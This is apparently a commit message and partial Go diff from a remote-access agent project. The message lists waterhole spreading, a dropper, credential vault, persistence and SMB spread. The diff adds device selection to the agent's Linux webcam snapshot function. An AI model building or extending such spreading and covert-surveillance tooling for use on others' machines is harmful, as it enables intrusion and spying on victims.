feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/camera_linux.go

@@ -10,10 +10,10 @@ import (
 	"strings"
 )
 
-func handleCameraAction(action string) (handled bool, success bool, message string) {
+func handleCameraAction(action, device string) (handled bool, success bool, message string) {
 	switch action {
 	case "camera_snapshot":
-		raw, err := captureLinuxCameraJPEG()
+		raw, err := captureLinuxCameraJPEG(strings.TrimSpace(device))
 		if err != nil {
 			return true, false, err.Error()
 		}
@@ -50,7 +50,7 @@ func listLinuxCameraDevices() ([]string, error) {
 	return devs, nil
 }
 
-func captureLinuxCameraJPEG() ([]byte, error) {
+func captureLinuxCameraJPEG(preferred string) ([]byte, error) {
 	devs, err := listLinuxCameraDevices()
 	if err != nil {
 		return nil, err
@@ -59,6 +59,14 @@ func captureLinuxCameraJPEG() ([]byte, error) {
 		return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers")
 	}
 	device := devs[0]
+	if preferred != "" {
+		for _, d := range devs {
+			if d == preferred {
+				device = d
+				break
+			}
+		}
+	}
 
 	if ff, err := exec.LookPath("ffmpeg"); err == nil {
 		out, runErr := exec.Command(ff,